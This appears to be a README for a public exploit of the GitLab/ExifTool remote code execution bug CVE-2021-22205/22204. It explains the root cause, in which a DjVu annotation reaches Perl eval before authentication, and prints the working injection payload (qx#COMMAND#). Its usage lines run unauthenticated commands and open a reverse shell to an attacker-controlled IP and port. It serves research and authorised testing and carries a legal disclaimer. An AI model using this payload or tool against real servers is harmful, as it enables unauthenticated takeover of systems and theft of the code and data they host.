
Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check.
GitLab hands uploaded images to a bundled copy of ExifTool to strip metadata.
ExifTool mishandles a DjVu annotation chunk and runs part of it as Perl
(CVE-2021-22204), so an uploaded "image" executes commands as the git user.
The upload is parsed before the request is authenticated, so no account is
needed.
Affects GitLab CE and EE 11.9 through 13.8.7, 13.9 through 13.9.5, and 13.10 through 13.10.2. Fixed in 13.8.8, 13.9.6 and 13.10.3.
GitLab routes every upload through gitlab-workhorse first. HandleFileUploads
in workhorse/internal/upload/uploads.go is called from a PreAuthorizeHandler
context, so it runs before any authentication or routing check. When the
uploaded file looks like a JPEG or TIFF, workhorse calls down to exif.go,
which shells out to ExifTool to remove metadata.
ExifTool treats a file by its content, not its name, so a file sent as
x.jpg that actually begins with the DjVu magic AT&TFORM is parsed as DjVu.
Image::ExifTool::AIFF::ProcessAIFF walks the IFF chunks and dispatches the
ANTa annotation chunk to Image::ExifTool::DjVu::ParseAnt. That parser
resolves C escape sequences in a quoted string by handing it straight to eval
(DjVu.pm, pre-fix line 233):
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
$tok is bytes from the file. The line above it tries to neutralise $ and
@ so interpolation cannot reach code, but it never escapes a ". William
Bowling's original payload exploits that: a backslash followed by a newline
satisfies the parser's "was the quote escaped?" check ($ in the regex matches
before a trailing newline), which appends a raw " into the token. The injected
quote closes the string early and everything after it is evaluated as Perl:
(metadata
(Copyright "\
" . qx#COMMAND# . \
" b ") )
qx#...# is a shell command run by Perl. The # is the quote delimiter, which
is the only character the command itself cannot contain. ExifTool's own fix in
12.24 removed the eval entirely and replaced it with an eight-entry escape
table, so the sink is gone rather than filtered.
GitLab's patch did not touch the pre-auth reachability. It added isTIFF and
isJPEG content checks so a DjVu file is rejected before it reaches ExifTool,
and it bundled a fixed ExifTool. An unpatched server runs ExifTool on the file
and answers 422; a patched one rejects it earlier and answers 404. That
difference is what --check reads.
python3 exploit.py -t http://target --check # is it vulnerable? drops nothing
python3 exploit.py -t http://target -c 'id' # unauthenticated, blind
python3 exploit.py -t http://target -s 10.10.14.5 4444 # unauthenticated reverse shell
python3 exploit.py -t http://target -u user -p pass -c 'id' --vector auth
Execution is blind: nothing of the command's output comes back in the HTTP
reply. Use -s for a shell, or redirect output somewhere you can reach.
ExifTool runs on a queue, so a command can take a few seconds to fire. A reverse shell holds the connection open.
| Vector | Reachable by | Notes |
|---|---|---|
unauth (default) | anonymous | POSTs the file to a random path at web root. No session, no CSRF token, not a real endpoint. |
auth | a logged-in user (-u/-p) | POSTs to /uploads/user with a scraped CSRF token. Only useful where anonymous upload is blocked by something in front of GitLab, since the bug itself needs no login. |
Python 3 and requests.
| Field | Value |
|---|---|
| CVE | CVE-2021-22205 (GitLab), chaining CVE-2021-22204 (ExifTool) |
| Advisory | GitLab security release, 14 April 2021 |
| Affected | >=11.9 <13.8.8 || >=13.9 <13.9.6 || >=13.10 <13.10.3 |
| Fixed in | 13.8.8, 13.9.6, 13.10.3 |
| ExifTool | 7.44 through 12.23, fixed in 12.24 |
| CVSS v3.1 | 9.9 at release, raised to 10.0 on 21 September 2021 when it was reclassified from authenticated to unauthenticated |
| CWE | CWE-94 |
| CISA KEV | Added 3 November 2021 |
| Role | Who |
|---|---|
| Reported to GitLab by | William Bowling (vakzz), via the GitLab bug bounty programme - HackerOne #1154542 |
| ExifTool fix by | Phil Harvey, ExifTool 12.24 |
| Unauthenticated path documented by | Jacob Baines, Rapid7 - root cause analysis |
| This implementation by | d4ytox |
eval from the DjVu readerMIT, see LICENSE. The grant covers this implementation. GitLab and ExifTool carry their own licences
For authorised testing and research only. Running this against a system you do not own, or do not have written permission to test, is illegal in most places. The exploit uploads a file and executes a command on the target, and it leaves the upload and log entries behind. Remove anything you drop when you are done.